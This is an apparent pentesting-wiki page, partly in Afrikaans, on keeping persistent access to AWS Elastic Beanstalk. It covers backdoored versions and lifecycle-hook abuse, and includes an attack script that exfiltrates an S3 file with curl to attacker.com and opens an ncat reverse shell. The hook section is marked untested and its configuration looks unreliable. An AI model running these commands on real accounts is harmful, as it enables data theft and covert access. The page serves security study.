AWS - Elastic Beanstalk Persistence

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Elastic Beanstalk

Vir meer inligting, sien:

AWS - Elastic Beanstalk Enum

Persistence in Instance

Om persistence binne die AWS-account te handhaaf, kan ’n persistence mechanism could be introduced inside the instance (cron job, ssh key…) geïnstalleer word, sodat die attacker toegang daartoe kan kry en die IAM role credentials from the metadata service kan steel.

Backdoor in Version

Die attacker kan die code in die S3 repo backdoor sodat dit altyd sy backdoor en die verwagte code uitvoer.

New backdoored version

In plaas daarvan om die code op die werklike version te verander, kan die attacker ’n nuwe backdoored version van die application deploy.

Abusing Custom Resource Lifecycle Hooks

Note

TODO: Test

Elastic Beanstalk verskaf lifecycle hooks wat jou toelaat om custom scripts tydens instance provisioning en termination te laat loop. Die attacker kan configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account.

# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
gzip /tmp/data.csv
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh

# Attacker uploads the script to an S3 bucket
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh

# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
AWSEBAutoScalingGroup:
Metadata:
AWS::ElasticBeanstalk::Ext:
TriggerConfiguration:
triggers:
- name: stealthy-lifecycle-hook
events:
- "autoscaling:EC2_INSTANCE_LAUNCH"
- "autoscaling:EC2_INSTANCE_TERMINATE"
target:
ref: "AWS::ElasticBeanstalk::Environment"
arn:
Fn::GetAtt:
- "AWS::ElasticBeanstalk::Environment"
- "Arn"
stealthyLifecycleHook:
Type: AWS::AutoScaling::LifecycleHook
Properties:
AutoScalingGroupName:
Ref: AWSEBAutoScalingGroup
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
NotificationTargetARN:
Ref: stealthy-lifecycle-hook
RoleARN:
Fn::GetAtt:
- AWSEBAutoScalingGroup
- Arn' > stealthy_lifecycle_hook.yaml

# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"

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